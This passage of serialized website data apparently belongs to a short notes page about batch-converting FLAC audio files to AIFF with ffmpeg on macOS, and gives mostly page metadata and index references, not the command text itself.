.sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":19,"searchDepth":20,"depth":20,"links":1135},[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1022,"description":1137},{"loc":1139},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1144,1145,1018,1146],"ffmpeg","audio","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[1149],{"id":1021,"title":1022,"author":670,"body":1150,"date":1136,"description":1137,"extension":22,"image":6,"meta":1230,"navigation":24,"path":1139,"seo":1231,"sitemap":1232,"stem":1142,"tags":1233,"__hash__":1147},{"type":8,"value":1151,"toc":1228},[1152,1154,1156,1168,1174,1226],[11,1153,1022],{"id":1027},[15,1155,1030],{},[118,1157,1158],{"className":979,"code":1033,"language":981,"meta":19,"style":19},[61,1159,1160],{"__ignoreMap":19},[144,1161,1162,1164,1166],{"class":146,"line":147},[144,1163,1040],{"class":752},[144,1165,1043],{"class":731},[144,1167,1046],{"class":731},[15,1169,1049,1170,1053,1172,1057],{},[61,1171,1052],{},[61,1173,1056],{},[118,1175,1176],{"className":979,"code":1060,"language":981,"meta":19,"style":19},[61,1177,1178],{"__ignoreMap":19},[144,1179,1180,1182,1184,1186,1188,1190,1192,1194,1196,1198,1200,1202,1204,1206,1208,1210,1212,1214,1216,1218,1220,1222,1224],{"class":146,"line":147},[144,1181,1067],{"class":721},[144,1183,1070],{"class":708},[144,1185,1073],{"class":721},[144,1187,1076],{"class":731},[144,1189,1079],{"class":708},[144,1191,1082],{"class":721},[144,1193,1085],{"class":752},[144,1195,1088],{"class":764},[144,1197,1091],{"class":731},[144,1199,1094],{"class":708},[144,1201,1097],{"class":731},[144,1203,1100],{"class":764},[144,1205,1103],{"class":764},[144,1207,1106],{"class":764},[144,1209,1109],{"class":731},[144,1211,1112],{"class":731},[144,1213,1115],{"class":708},[144,1215,1118],{"class":721},[144,1217,212],{"class":731},[144,1219,833],{"class":721},[144,1221,1125],{"class":731},[144,1223,1079],{"class":708},[144,1225,1130],{"class":721},[640,1227,1133],{},{"title":19,"searchDepth":20,"depth":20,"links":1229},[],{},{"title":1022,"description":1137},{"loc":1139},[1144,1145,1018,1146],1776084468190]